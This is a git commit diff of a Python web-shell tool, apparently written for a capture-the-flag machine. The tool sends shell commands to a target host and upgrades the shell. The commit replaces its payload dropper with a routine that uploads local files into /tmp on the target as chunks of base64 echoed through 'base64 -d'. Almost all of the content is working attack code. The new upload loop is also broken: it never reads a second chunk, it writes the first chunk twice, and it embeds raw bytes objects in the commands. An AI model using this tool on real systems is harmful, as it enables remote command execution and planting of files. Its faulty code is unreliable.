Changed functionality to upload file
This commit is contained in:
@ -5,6 +5,7 @@
|
||||
# Authors: Isaac Parenteau, ippsec, 0xdf
|
||||
|
||||
import base64
|
||||
import os
|
||||
import random
|
||||
import requests
|
||||
import threading
|
||||
@ -12,8 +13,6 @@ import time
|
||||
import jwt
|
||||
|
||||
|
||||
PAYLOAD = """Base64 Payload goes here"""
|
||||
|
||||
class WebShell(object):
|
||||
|
||||
def __init__(self, remote_host='http://172.16.1.22', remote_port=3000,
|
||||
@ -96,21 +95,22 @@ class WebShell(object):
|
||||
print(upgrade_shell)
|
||||
self.write_command(upgrade_shell)
|
||||
|
||||
def send_payload(self):
|
||||
def send_file(self):
|
||||
"""
|
||||
|
||||
:return:
|
||||
"""
|
||||
print('Sending payload')
|
||||
payloads = PAYLOAD.splitlines()
|
||||
file = input("Please enter path to file: ")
|
||||
file_name = os.path.basename(file)
|
||||
|
||||
payload_cmd = f'cd /tmp && echo {payloads.pop(0)} > myFile.txt'
|
||||
self.write_command(payload_cmd, timeout=30)
|
||||
for p in payloads:
|
||||
payload_cmd = f'cd /tmp && echo {p} >> myFile.txt'
|
||||
self.write_command(payload_cmd, timeout=30)
|
||||
print(f'Uploading File {file_name}')
|
||||
with open(file, 'rb') as f:
|
||||
chunk = f.read(1024)
|
||||
self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d > {file_name}')
|
||||
while chunk:
|
||||
self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d >> {file_name}')
|
||||
|
||||
print('Done Sending Payload')
|
||||
print('Done Sending File')
|
||||
|
||||
|
||||
prompt = "Please Subscribe> "
|
||||
@ -120,7 +120,7 @@ while True:
|
||||
if cmd == "upgrade":
|
||||
prompt = ""
|
||||
s.upgrade_shell()
|
||||
elif cmd == "payload":
|
||||
s.send_payload()
|
||||
elif cmd == "upload":
|
||||
s.send_file()
|
||||
else:
|
||||
s.write_command(cmd)
|
||||
|
Reference in New Issue
Block a user